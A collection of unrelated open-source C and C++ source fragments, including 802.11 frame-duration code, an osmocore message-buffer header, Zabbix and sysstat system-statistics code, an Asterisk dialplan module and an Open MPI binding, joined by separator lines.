cw_max = pow(2, cw_max) - 1;
if(cw > cw_max)
cw = cw_max;
DEBUG("CW min %d max %d ret %d = %d\n", cw_min, cw_max, retries, cw);
return (cw * slottime) / 2;
}
static const unsigned char ieee802_1d_to_ac[8] = { 0, 1, 1, 0, 2, 2, 3, 3 };
/* BE BK VI VO */
static const unsigned char ac_to_aifs[4] = { 3, 7, 2, 2};
static const unsigned char ac_to_cwmin[4] = { 4, 4, 3, 2};
static const unsigned int ac_to_cwmax[4] = { 10, 10, 4, 3};
/* from mac80211/util.c, modified */
int
ieee80211_frame_duration(int phymode, size_t len, int rate, int short_preamble,
int shortslot, int type, char qos_class, int retries)
{
int dur;
int erp;
int sifs, slottime;
static int last_was_cts;
erp = ieee80211_is_erp_rate(phymode, rate);
/* calculate duration (in microseconds, rounded up to next higher
* integer if it includes a fractional microsecond) to send frame of
* len bytes (does not include FCS) at the given rate. Duration will
* also include SIFS.
*
* rate is in 100 kbps, so divident is multiplied by 10 in the
* DIV_ROUND_UP() operations.
*/
DEBUG("DUR mode %d, len %d, rate %d, shortpre %d shortslot %d type %x UP %d\n", phymode, (int)len, rate, short_preamble, shortslot, type, qos_class);
if (phymode == PHY_FLAG_A || erp) {
DEBUG("OFDM\n");
/*
* OFDM:
*
* N_DBPS = DATARATE x 4
* N_SYM = Ceiling((16+8xLENGTH+6) / N_DBPS)
* (16 = SIGNAL time, 6 = tail bits)
* TXTIME = T_PREAMBLE + T_SIGNAL + T_SYM x N_SYM + Signal Ext
*
* T_SYM = 4 usec
* 802.11a - 17.5.2: aSIFSTime = 16 usec
* 802.11g - 19.8.4: aSIFSTime = 10 usec +
* signal ext = 6 usec
*/
sifs = 16; /* SIFS + signal ext */
slottime = 9;
dur = 16; /* 17.3.2.3: T_PREAMBLE = 16 usec */
dur += 4; /* 17.3.2.3: T_SIGNAL = 4 usec */
dur += 4 * DIV_ROUND_UP((16 + 8 * (len + 4) + 6) * 10,
4 * rate); /* T_SYM x N_SYM */
} else {
DEBUG("CCK\n");
/*
* 802.11b or 802.11g with 802.11b compatibility:
* 18.3.4: TXTIME = PreambleLength + PLCPHeaderTime +
* Ceiling(((LENGTH+PBCC)x8)/DATARATE). PBCC=0.
*
* 802.11 (DS): 15.3.3, 802.11b: 18.3.4
* aSIFSTime = 10 usec
* aPreambleLength = 144 usec or 72 usec with short preamble
* aPLCPHeaderLength = 48 usec or 24 usec with short preamble
*/
sifs = 10; /* aSIFSTime = 10 usec */
slottime = shortslot ? 9 : 20;
dur = short_preamble ? (72 + 24) : (144 + 48);
dur += DIV_ROUND_UP(8 * (len + 4) * 10, rate);
}
if (type == WLAN_FRAME_CTS ||
type == WLAN_FRAME_ACK) {
//TODO: also fragments
DEBUG("DUR SIFS\n");
dur += sifs;
}
else if (type == WLAN_FRAME_BEACON) {
/* TODO: which AIFS and CW should be used for beacons? */
dur += sifs + (2 * slottime); /* AIFS */
dur += (slottime * 1) / 2; /* contention */
}
else if (WLAN_FRAME_IS_DATA(type) && last_was_cts) {
DEBUG("DUR LAST CTS\n");
dur += sifs;
}
else if (type == WLAN_FRAME_QDATA) {
unsigned char ac = ieee802_1d_to_ac[(unsigned char)qos_class];
dur += sifs + (ac_to_aifs[ac] * slottime); /* AIFS */
dur += get_cw_time(ac_to_cwmin[ac], ac_to_cwmax[ac], retries, slottime);
DEBUG("DUR AIFS %d CWMIN %d AC %d, UP %d\n", ac_to_aifs[ac], ac_to_cwmin[ac], ac, qos_class);
}
else {
DEBUG("DUR DIFS\n");
dur += sifs + (2 * slottime); /* DIFS */
dur += get_cw_time(4, 10, retries, slottime);
}
if (type == WLAN_FRAME_CTS) {
DEBUG("SET CTS\n");
last_was_cts = 1;
}
else
last_was_cts = 0;
/* TODO: Add EIFS (SIFS + ACKTXTIME) to frames with CRC errors, if we can get them */
DEBUG("DUR %d\n", dur);
return dur;
}
|
#ifndef _MSGB_H
#define _MSGB_H
/* (C) 2008 by Harald Welte <laforge@gnumonks.org>
* All Rights Reserved
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
*/
#include <stdint.h>
#include "linuxlist.h"
#define MSGB_DEBUG
struct msgb {
struct llist_head list;
/* Part of which TRX logical channel we were received / transmitted */
/* FIXME: move them into the control buffer */
struct gsm_bts_trx *trx;
struct gsm_lchan *lchan;
/* the Layer1 header (if any) */
unsigned char *l1h;
/* the A-bis layer 2 header: OML, RSL(RLL), NS */
unsigned char *l2h;
/* the layer 3 header. For OML: FOM; RSL: 04.08; GPRS: BSSGP */
unsigned char *l3h;
/* the layer 4 header */
unsigned char *l4h;
/* the 'control buffer', large enough to contain 5 pointers */
unsigned long cb[5];
uint16_t data_len;
uint16_t len;
unsigned char *head;
unsigned char *tail;
unsigned char *data;
unsigned char _data[0];
};
extern struct msgb *msgb_alloc(uint16_t size, const char *name);
extern void msgb_free(struct msgb *m);
extern void msgb_enqueue(struct llist_head *queue, struct msgb *msg);
extern struct msgb *msgb_dequeue(struct llist_head *queue);
extern void msgb_reset(struct msgb *m);
#ifdef MSGB_DEBUG
#include <osmocore/panic.h>
static inline void msgb_abort(struct msgb *msg, const char *text)
{
osmo_panic("%s", text);
}
#endif
#define msgb_l1(m) ((void *)(m->l1h))
#define msgb_l2(m) ((void *)(m->l2h))
#define msgb_l3(m) ((void *)(m->l3h))
#define msgb_sms(m) ((void *)(m->l4h))
static inline unsigned int msgb_l1len(const struct msgb *msgb)
{
return msgb->tail - (uint8_t *)msgb_l1(msgb);
}
static inline unsigned int msgb_l2len(const struct msgb *msgb)
{
return msgb->tail - (uint8_t *)msgb_l2(msgb);
}
static inline unsigned int msgb_l3len(const struct msgb *msgb)
{
return msgb->tail - (uint8_t *)msgb_l3(msgb);
}
static inline unsigned int msgb_headlen(const struct msgb *msgb)
{
return msgb->len - msgb->data_len;
}
static inline int msgb_tailroom(const struct msgb *msgb)
{
return (msgb->head + msgb->data_len) - msgb->tail;
}
static inline int msgb_headroom(const struct msgb *msgb)
{
return (msgb->data - msgb->head);
}
static inline unsigned char *msgb_put(struct msgb *msgb, unsigned int len)
{
unsigned char *tmp = msgb->tail;
#ifdef MSGB_DEBUG
if (msgb_tailroom(msgb) < len)
msgb_abort(msgb, "Not enough tailroom\n");
#endif
msgb->tail += len;
msgb->len += len;
return tmp;
}
static inline void msgb_put_u8(struct msgb *msgb, uint8_t word)
{
uint8_t *space = msgb_put(msgb, 1);
space[0] = word & 0xFF;
}
static inline void msgb_put_u16(struct msgb *msgb, uint16_t word)
{
uint8_t *space = msgb_put(msgb, 2);
space[0] = word >> 8 & 0xFF;
space[1] = word & 0xFF;
}
static inline void msgb_put_u32(struct msgb *msgb, uint32_t word)
{
uint8_t *space = msgb_put(msgb, 4);
space[0] = word >> 24 & 0xFF;
space[1] = word >> 16 & 0xFF;
space[2] = word >> 8 & 0xFF;
space[3] = word & 0xFF;
}
static inline unsigned char *msgb_get(struct msgb *msgb, unsigned int len)
{
unsigned char *tmp = msgb->data;
msgb->data += len;
msgb->len -= len;
return tmp;
}
static inline uint8_t msgb_get_u8(struct msgb *msgb)
{
uint8_t *space = msgb_get(msgb, 1);
return space[0];
}
static inline uint16_t msgb_get_u16(struct msgb *msgb)
{
uint8_t *space = msgb_get(msgb, 2);
return space[0] << 8 | space[1];
}
static inline uint32_t msgb_get_u32(struct msgb *msgb)
{
uint8_t *space = msgb_get(msgb, 4);
return space[0] << 24 | space[1] << 16 | space[2] << 8 | space[3];
}
static inline unsigned char *msgb_push(struct msgb *msgb, unsigned int len)
{
#ifdef MSGB_DEBUG
if (msgb_headroom(msgb) < len)
msgb_abort(msgb, "Not enough headroom\n");
#endif
msgb->data -= len;
msgb->len += len;
return msgb->data;
}
static inline unsigned char *msgb_pull(struct msgb *msgb, unsigned int len)
{
msgb->len -= len;
return msgb->data += len;
}
/* increase the headroom of an empty msgb, reducing the tailroom */
static inline void msgb_reserve(struct msgb *msg, int len)
{
msg->data += len;
msg->tail += len;
}
static inline struct msgb *msgb_alloc_headroom(int size, int headroom,
const char *name)
{
struct msgb *msg = msgb_alloc(size, name);
if (msg)
msgb_reserve(msg, headroom);
return msg;
}
#endif /* _MSGB_H */
|
/*
** Zabbix
** Copyright (C) 2001-2013 Zabbix SIA
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 2 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
**/
#include "common.h"
#include "sysinfo.h"
static int read_uint64_from_procfs(const char *path, zbx_uint64_t *value)
{
int ret = SYSINFO_RET_FAIL;
char line[MAX_STRING_LEN];
FILE *f;
if (NULL != (f = fopen(path, "r")))
{
if (NULL != fgets(line, sizeof(line), f))
{
if (1 == sscanf(line, ZBX_FS_UI64 "\n", value))
ret = SYSINFO_RET_OK;
}
zbx_fclose(f);
}
return ret;
}
int KERNEL_MAXFILES(AGENT_REQUEST *request, AGENT_RESULT *result)
{
int ret = SYSINFO_RET_FAIL;
zbx_uint64_t value;
if (SYSINFO_RET_OK == read_uint64_from_procfs("/proc/sys/fs/file-max", &value))
{
SET_UI64_RESULT(result, value);
ret = SYSINFO_RET_OK;
}
return ret;
}
int KERNEL_MAXPROC(AGENT_REQUEST *request, AGENT_RESULT *result)
{
int ret = SYSINFO_RET_FAIL;
zbx_uint64_t value;
if (SYSINFO_RET_OK == read_uint64_from_procfs("/proc/sys/kernel/pid_max", &value))
{
SET_UI64_RESULT(result, value);
ret = SYSINFO_RET_OK;
}
return ret;
}
|
/*
* calloc()
*
* COPYRIGHT (c) 1989-2007.
* On-Line Applications Research Corporation (OAR).
*
* The license and distribution terms for this file may be
* found in the file LICENSE in this distribution or at
* http://www.rtems.com/license/LICENSE.
*
* $Id$
*/
#if HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef RTEMS_NEWLIB
#include "malloc_p.h"
#include <stdlib.h>
void free(
void *ptr
)
{
MSBUMP(free_calls, 1);
if ( !ptr )
return;
#if defined(RTEMS_HEAP_DEBUG)
_Protected_heap_Walk( RTEMS_Malloc_Heap, 0, false );
#endif
/*
* Do not attempt to free memory if in a critical section or ISR.
*/
if ( _System_state_Is_up(_System_state_Get()) &&
!malloc_is_system_state_OK() ) {
malloc_deferred_free(ptr);
return;
}
#if defined(RTEMS_MALLOC_BOUNDARY_HELPERS)
/*
* If configured, check the boundary area
*/
if ( rtems_malloc_boundary_helpers )
(*rtems_malloc_boundary_helpers->at_free)(ptr);
#endif
/*
* If configured, update the statistics
*/
if ( rtems_malloc_statistics_helpers )
(*rtems_malloc_statistics_helpers->at_free)(ptr);
if ( !_Protected_heap_Free( RTEMS_Malloc_Heap, ptr ) ) {
printk( "Program heap: free of bad pointer %p -- range %p - %p \n",
ptr,
RTEMS_Malloc_Heap->area_begin,
RTEMS_Malloc_Heap->area_end
);
}
}
#endif
|
///
/// \file DatabaseSelectDlg.h
/// Dialog wrapper class for user selection of device databases
///
/*
Copyright (C) 2007-2013, Net Direct Inc. (http://www.netdirect.ca/)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License in the COPYING file at the
root directory of this project for more details.
*/
#ifndef __BARRYBACKUP_DATABASESELECTDLG_H__
#define __BARRYBACKUP_DATABASESELECTDLG_H__
#include <gtkmm.h>
#include <memory>
#include <barry/barry.h>
namespace Barry {
class DatabaseDatabase;
}
class DatabaseSelectDlg
{
class Columns : public Gtk::TreeModelColumnRecord
{
public:
Gtk::TreeModelColumn<bool> m_selected;
Gtk::TreeModelColumn<Glib::ustring> m_name;
Columns()
{
add(m_selected);
add(m_name);
}
};
// meta class flags
bool m_backupMode; // if true, the checkbox is visible
// Widgets
std::auto_ptr<Gtk::Dialog> m_pDialog;
Gtk::Label *m_pTopLabel;
Gtk::CheckButton *m_pAutoSelectAllCheck;
Gtk::TreeView *m_pTree;
Columns m_Columns;
Glib::RefPtr<Gtk::ListStore> m_pListStore;
// data
Barry::ConfigFile::DBListType m_selections;
bool m_auto_select_all; // holds checkbox setting
protected:
void LoadTree(const Barry::DatabaseDatabase &dbdb);
bool IsSelected(const std::string &dbname);
void SaveSelections();
public:
DatabaseSelectDlg(const Barry::DatabaseDatabase &dbdb,
const Barry::ConfigFile::DBListType &selections,
bool auto_select_all,
const Glib::ustring &label, bool backup_mode);
~DatabaseSelectDlg();
const Barry::ConfigFile::DBListType& GetSelections() const { return m_selections; }
bool AutoSelectAll() const { return m_auto_select_all; }
int run();
// signals
void on_select_all();
void on_deselect_all();
};
#endif
|
#ifndef INCLUDED_FREI0R_MATH_H
#define INCLUDED_FREI0R_MATH_H
/*
Code stripped from The Gimp:
INT_MULT(a,b,t)
INT_MULT3(a,b,c,t)
INT_BLEND(a,b,alpha,tmp)
CLAMP
ROUND
MAX255
Code stripped from Drone:
CLAMP0255
SQR
*/
/* Clamps a int32-range int between 0 and 255 inclusive. */
#ifndef CLAMP0255
static inline unsigned char CLAMP0255(int32_t a)
{
return (unsigned char)
( (((-a) >> 31) & a) // 0 if the number was negative
| (255 - a) >> 31); // -1 if the number was greater than 255
}
#endif
/* Provided temporary int t, returns a * b / 255 */
#ifndef INT_MULT
#define INT_MULT(a,b,t) ((t) = (a) * (b) + 0x80, ((((t) >> 8) + (t)) >> 8))
#endif
/* This version of INT_MULT3 is very fast, but suffers from some
slight roundoff errors. It returns the correct result 99.987
percent of the time */
#ifndef INT_MULT3
#define INT_MULT3(a,b,c,t) ((t) = (a) * (b) * (c) + 0x7F5B, \
((((t) >> 7) + (t)) >> 16))
#endif
#ifndef INT_BLEND
#define INT_BLEND(a,b,alpha,tmp) (INT_MULT((a) - (b), alpha, tmp) + (b))
#endif
#ifndef CLAMP
//! Clamp x at min and max
#define CLAMP(x,min,max) ((x) < (min) ? (min) : ((x) > (max) ? (max) : (x)))
#endif
#ifndef ROUND
//! Round.
#define ROUND(x) ((int32_t)((x)+0.5))
#endif
#ifndef SQR
//! Square.
#define SQR(x) ((x) * (x))
#endif
#ifndef MAX255
//! Limit a (0->511) int to 255.
uint8_t MAX255(uint32_t a) { return (uint8_t) (a | ((a & 256) - ((a & 256) >> 8))); }
#endif
#ifndef MIN
#define MIN(x, y) ((x) < (y) ? (x) : (y))
#endif
#ifndef MAX
#define MAX(x, y) ((x) > (y) ? (x) : (y))
#endif
#endif
|
/*
* Asterisk -- An open source telephony toolkit.
*
* Copyright (C) 2012 - 2013, Digium, Inc.
*
* David M. Lee, II <dlee@digium.com>
*
* See http://www.asterisk.org for more information about
* the Asterisk project. Please do not directly contact
* any of the maintainers of this project for assistance;
* the project provides a web site, mailing lists and IRC
* channels for your use.
*
* This program is free software, distributed under the terms of
* the GNU General Public License Version 2. See the LICENSE file
* at the top of the source tree.
*/
/*! \file
*
* \brief Stasis dialplan application.
*
* \author David M. Lee, II <dlee@digium.com>
*/
/*** MODULEINFO
<depend>res_stasis</depend>
<support_level>core</support_level>
***/
#include "asterisk.h"
ASTERISK_FILE_VERSION(__FILE__, "$Revision: 392777 $")
#include "asterisk/app.h"
#include "asterisk/module.h"
#include "asterisk/stasis.h"
#include "asterisk/stasis_app_impl.h"
/*** DOCUMENTATION
<application name="Stasis" language="en_US">
<synopsis>Invoke an external Stasis application.</synopsis>
<syntax>
<parameter name="app_name" required="true">
<para>Name of the application to invoke.</para>
</parameter>
<parameter name="args">
<para>Optional comma-delimited arguments for the
application invocation.</para>
</parameter>
</syntax>
<description>
<para>
Invoke a Stasis application.
</para>
</description>
</application>
***/
/*! \brief Maximum number of arguments for the Stasis dialplan application */
#define MAX_ARGS 128
/*! \brief Dialplan application name */
static const char *stasis = "Stasis";
/*! /brief Stasis dialplan application callback */
static int app_exec(struct ast_channel *chan, const char *data)
{
char *parse = NULL;
AST_DECLARE_APP_ARGS(args,
AST_APP_ARG(app_name);
AST_APP_ARG(app_argv)[MAX_ARGS];
);
ast_assert(chan != NULL);
ast_assert(data != NULL);
/* parse the arguments */
parse = ast_strdupa(data);
AST_STANDARD_APP_ARGS(args, parse);
if (args.argc < 1) {
ast_log(LOG_WARNING, "Stasis app_name argument missing\n");
return -1;
}
return stasis_app_exec(
chan, args.app_name, args.argc - 1, args.app_argv);
}
static int load_module(void)
{
int r = 0;
stasis_app_ref();
r |= ast_register_application_xml(stasis, app_exec);
return r;
}
static int unload_module(void)
{
int r = 0;
r |= ast_unregister_application(stasis);
stasis_app_unref();
return r;
}
AST_MODULE_INFO(ASTERISK_GPL_KEY, AST_MODFLAG_DEFAULT, "Stasis dialplan application",
.load = load_module,
.unload = unload_module,
.nonoptreq = "res_stasis",
);
|
/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil ; -*- */
/*
* (C) 2008 by Argonne National Laboratory.
* See COPYRIGHT in top-level directory.
*/
#include "hydra.h"
#include "bsci.h"
#include "common.h"
HYD_status HYDT_bsci_launcher_lsf_init(void)
{
HYDT_bsci_fns.query_env_inherit = HYDT_bscd_lsf_query_env_inherit;
HYDT_bsci_fns.launch_procs = HYDT_bscd_common_launch_procs;
return HYD_SUCCESS;
}
HYD_status HYDT_bsci_rmk_lsf_init(void)
{
HYDT_bsci_fns.query_node_list = HYDT_bscd_lsf_query_node_list;
HYDT_bsci_fns.query_native_int = HYDT_bscd_lsf_query_native_int;
return HYD_SUCCESS;
}
|
#ifndef __VERSION_H__
#define __VERSION_H__
#define VERSION_DATE "Sun, 18 Oct 2015 21:02:23 -0700"
#define VERSION_HASH "84aea39"
#define VERSION_BRANCH "master"
#define VERSION_REPO "git@github.com:pukster/omxplayer-sync3.git"
#endif
|
/* This file is part of the KDE project
Copyright 2008 Stefan Nikolaus <stefan.nikolaus@kdemail.net>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public License
along with this library; see the file COPYING.LIB. If not, write to
the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, USA.
*/
#ifndef KCELLS_TEXT_MODULE
#define KCELLS_TEXT_MODULE
#include "KCFunctionModule.h"
#include <QVariantList>
class TextModule : public KCFunctionModule
{
Q_OBJECT
public:
explicit TextModule(QObject* parent, const QVariantList& args = QVariantList());
QString descriptionFileName() const;
};
#endif // KCELLS_TEXT_MODULE
|
struct float3;
struct Particle;
struct int4;
struct Triangles;
int collision_inside_1p(int spdir, const float *r, const float *vv, const int4 *tt, const int nt);
void collision_get_colors(const Particle *pp, int n,
const Particle *i_pp,
Triangles *tri,
int nv, int nm,
const float3 *minext, const float3 *maxext, /**/ int *cc);
|
/*
* sysstat: System performance tools for Linux
* (C) 1999-2011 by Sebastien Godard (sysstat <at> orange.fr)
*/
#ifndef _COMMON_H
#define _COMMON_H
/* Maximum length of sensors device name */
#define MAX_SENSORS_DEV_LEN 20
#include <time.h>
#include <sched.h> /* For __CPU_SETSIZE */
#include "rd_stats.h"
/*
***************************************************************************
* Various keywords and constants
***************************************************************************
*/
#define FALSE 0
#define TRUE 1
#define DISP_HDR 1
/* Maximum number of CPUs */
#ifdef __CPU_SETSIZE
#define NR_CPUS __CPU_SETSIZE
#else
#define NR_CPUS 1024
#endif
/* Maximum number of interrupts */
#define NR_IRQS 256
/* Size of /proc/interrupts line, CPU data excluded */
#define INTERRUPTS_LINE 128
/* Keywords */
#define K_ISO "ISO"
#define K_ALL "ALL"
#define K_UTC "UTC"
/* Files */
#define STAT "/proc/stat"
#define UPTIME "/proc/uptime"
#define PPARTITIONS "/proc/partitions"
#define DISKSTATS "/proc/diskstats"
#define INTERRUPTS "/proc/interrupts"
#define MEMINFO "/proc/meminfo"
#define SYSFS_BLOCK "/sys/block"
#define SYSFS_DEVCPU "/sys/devices/system/cpu"
#define SYSFS_TIME_IN_STATE "cpufreq/stats/time_in_state"
#define S_STAT "stat"
#define DEVMAP_DIR "/dev/mapper"
#define DEVICES "/proc/devices"
#define MAX_FILE_LEN 256
#define MAX_PF_NAME 1024
#define DEFAULT_DEVMAP_MAJOR 253
#define MAX_NAME_LEN 72
#define NR_DISKS 4
/* Environment variables */
#define ENV_TIME_FMT "S_TIME_FORMAT"
#define ENV_TIME_DEFTM "S_TIME_DEF_TIME"
#define DIGITS "0123456789"
/*
***************************************************************************
* Macro functions definitions.
***************************************************************************
*/
/* Allocate and init structure */
#define SREALLOC(S, TYPE, SIZE) do { \
TYPE *_p_; \
_p_ = S; \
if (SIZE) { \
if ((S = (TYPE *) realloc(S, (SIZE))) == NULL) { \
perror("realloc"); \
exit(4); \
} \
/* If the ptr was null, then it's a malloc() */ \
if (!_p_) \
memset(S, 0, (SIZE)); \
} \
} while (0)
/*
* Macros used to display statistics values.
*
* NB: Define SP_VALUE() to normalize to %;
* HZ is 1024 on IA64 and % should be normalized to 100.
*/
#define S_VALUE(m,n,p) (((double) ((n) - (m))) / (p) * HZ)
#define SP_VALUE(m,n,p) (((double) ((n) - (m))) / (p) * 100)
/*
* Under very special circumstances, STDOUT may become unavailable.
* This is what we try to guess here
*/
#define TEST_STDOUT(_fd_) do { \
if (write(_fd_, "", 0) == -1) { \
perror("stdout"); \
exit(6); \
} \
} while (0)
#define MINIMUM(a,b) ((a) < (b) ? (a) : (b))
#ifdef DEBUG
#define PANIC(m) sysstat_panic(__FUNCTION__, m)
#else
#define PANIC(m)
#endif
/* Number of ticks per second */
#define HZ hz
extern unsigned int hz;
/* Number of bit shifts to convert pages to kB */
extern unsigned int kb_shift;
/*
* kB <-> number of pages.
* Page size depends on machine architecture (4 kB, 8 kB, 16 kB, 64 kB...)
*/
#define KB_TO_PG(k) ((k) >> kb_shift)
#define PG_TO_KB(k) ((k) << kb_shift)
/*
***************************************************************************
* Structures definitions
***************************************************************************
*/
/* Structure used for extended disk statistics */
struct ext_disk_stats {
double util;
double await;
double svctm;
double arqsz;
};
/*
***************************************************************************
* Functions prototypes
***************************************************************************
*/
extern void
compute_ext_disk_stats(struct stats_disk *, struct stats_disk *,
unsigned long long, struct ext_disk_stats *);
extern int
count_bits(void *, int);
extern int
count_csvalues(int, char **);
extern char *
device_name(char *);
extern void
get_HZ(void);
extern unsigned int
get_devmap_major(void);
extern unsigned long long
get_interval(unsigned long long, unsigned long long);
extern void
get_kb_shift(void);
extern time_t
get_localtime(struct tm *);
extern time_t
get_time(struct tm *);
unsigned long long
get_per_cpu_interval(struct stats_cpu *, struct stats_cpu *);
extern int
get_sysfs_dev_nr(int);
extern int
get_win_height(void);
extern void
init_nls(void);
extern int
is_device(char *);
extern double
ll_s_value(unsigned long long, unsigned long long, unsigned long long);
extern double
ll_sp_value(unsigned long long, unsigned long long, unsigned long long);
extern int
print_gal_header(struct tm *, char *, char *, char *, char *, int);
extern void
print_version(void);
#ifdef DEBUG
extern void
sysstat_panic(const char *, int);
#endif
#endif /* _COMMON_H */
|
#ifndef _S3C2410_ADC_H_
#define _S3C2410_ADC_H_
#define ADC_WRITE(ch, prescale) ((ch)<<16|(prescale))
#define ADC_WRITE_GETCH(data) (((data)>>16)&0x7)
#define ADC_WRITE_GETPRE(data) ((data)&0xff)
#endif
|
void func(long b, long c) {
long a;
for (a = 0; a < 100; a = a + 1) {
b = b + c;
}
printf("%ld %ld %ld\n",
a, b, c);
return;
}
long main() {
long b, c;
b = 1;
c = 7;
func(b, c);
}
|
#ifndef HICCUP_H
#define HICCUP_H
#include <deque>
#include <queue>
#include <map>
#include <set>
#include <stdexcept>
#include <sstream>
#include <algorithm>
#include <cmath>
#include "Rcpp.h"
template <class T>
struct sort_row_index {
sort_row_index(const T* p) : ptr(p) {}
bool operator() (const int& l, const int& r) const {
if (ptr[l]==ptr[r]) { return (l < r); }
else { return (ptr[l] < ptr[r]); }
}
private:
const T* ptr;
};
extern "C" {
SEXP check_input(SEXP, SEXP);
SEXP cap_input(SEXP, SEXP, SEXP);
SEXP cluster_2d (SEXP, SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP split_clusters (SEXP, SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP get_bounding_box (SEXP, SEXP, SEXP);
SEXP quadrant_bg (SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP count_background(SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP count_connect(SEXP, SEXP);
SEXP count_patch(SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP directionality(SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP iterative_correction(SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP get_missing_dist(SEXP, SEXP, SEXP, SEXP);
SEXP report_hic_pairs(SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP report_hic_binned_pairs(SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP test_parse_cigar(SEXP);
SEXP test_fragment_assign(SEXP, SEXP, SEXP, SEXP, SEXP, SEXP);
SEXP pair_stats (SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP, SEXP);
}
#endif
|
/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil -*- */
/*
* Copyright (c) 2004-2007 The Trustees of Indiana University and Indiana
* University Research and Technology
* Corporation. All rights reserved.
* Copyright (c) 2004-2005 The University of Tennessee and The University
* of Tennessee Research Foundation. All rights
* reserved.
* Copyright (c) 2004-2008 High Performance Computing Center Stuttgart,
* University of Stuttgart. All rights reserved.
* Copyright (c) 2004-2005 The Regents of the University of California.
* All rights reserved.
* Copyright (c) 2013 Los Alamos National Security, LLC. All rights
* reserved.
* Copyright (c) 2015 Research Organization for Information Science
* and Technology (RIST). All rights reserved.
* $COPYRIGHT$
*
* Additional copyrights may follow
*
* $HEADER$
*/
#include "ompi_config.h"
#include "ompi/mpi/c/bindings.h"
#include "ompi/runtime/params.h"
#include "ompi/communicator/communicator.h"
#include "ompi/errhandler/errhandler.h"
#include "ompi/datatype/ompi_datatype.h"
#include "ompi/memchecker.h"
#if OMPI_BUILD_MPI_PROFILING
#if OPAL_HAVE_WEAK_SYMBOLS
#pragma weak MPI_Type_vector = PMPI_Type_vector
#endif
#define MPI_Type_vector PMPI_Type_vector
#endif
static const char FUNC_NAME[] = "MPI_Type_vector";
int MPI_Type_vector(int count,
int blocklength,
int stride,
MPI_Datatype oldtype,
MPI_Datatype *newtype)
{
int rc;
MEMCHECKER(
memchecker_datatype(oldtype);
);
if( MPI_PARAM_CHECK ) {
OMPI_ERR_INIT_FINALIZE(FUNC_NAME);
if (NULL == oldtype || MPI_DATATYPE_NULL == oldtype ||
NULL == newtype) {
return OMPI_ERRHANDLER_INVOKE(MPI_COMM_WORLD, MPI_ERR_TYPE,
FUNC_NAME );
} else if( count < 0 ) {
OMPI_ERRHANDLER_RETURN( MPI_ERR_COUNT, MPI_COMM_WORLD,
MPI_ERR_COUNT, FUNC_NAME );
} else if( blocklength < 0) {
OMPI_ERRHANDLER_RETURN( MPI_ERR_ARG, MPI_COMM_WORLD,
MPI_ERR_ARG, FUNC_NAME );
}
}
rc = ompi_datatype_create_vector ( count, blocklength, stride, oldtype, newtype );
OMPI_ERRHANDLER_CHECK(rc, MPI_COMM_WORLD, rc, FUNC_NAME );
{
const int* a_i[3] = {&count, &blocklength, &stride};
ompi_datatype_set_args( *newtype, 3, a_i, 0, NULL, 1, &oldtype, MPI_COMBINER_VECTOR );
}
return MPI_SUCCESS;
}
|
/************************************* open_iA ************************************ *
* ********** A tool for visual analysis and processing of 3D CT images ********** *
* *********************************************************************************** *
* Copyright (C) 2016-2021 C. Heinzl, M. Reiter, A. Reh, W. Li, M. Arikan, Ar. & Al. *
* Amirkhanov, J. Weissenböck, B. Fröhler, M. Schiwarth, P. Weinberger *
* *********************************************************************************** *
* This program is free software: you can redistribute it and/or modify it under the *
* terms of the GNU General Public License as published by the Free Software *
* Foundation, either version 3 of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, but WITHOUT ANY *
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A *
* PARTICULAR PURPOSE. See the GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License along with this *
* program. If not, see http://www.gnu.org/licenses/ *
* *********************************************************************************** *
* Contact: FH OÖ Forschungs & Entwicklungs GmbH, Campus Wels, CT-Gruppe, *
* Stelzhamerstraße 23, 4600 Wels / Austria, Email: c.heinzl@fh-wels.at *
* ************************************************************************************/
#pragma once
#include <iAVec3.h>
#include <QVector>
#include <string>
#include <vector>
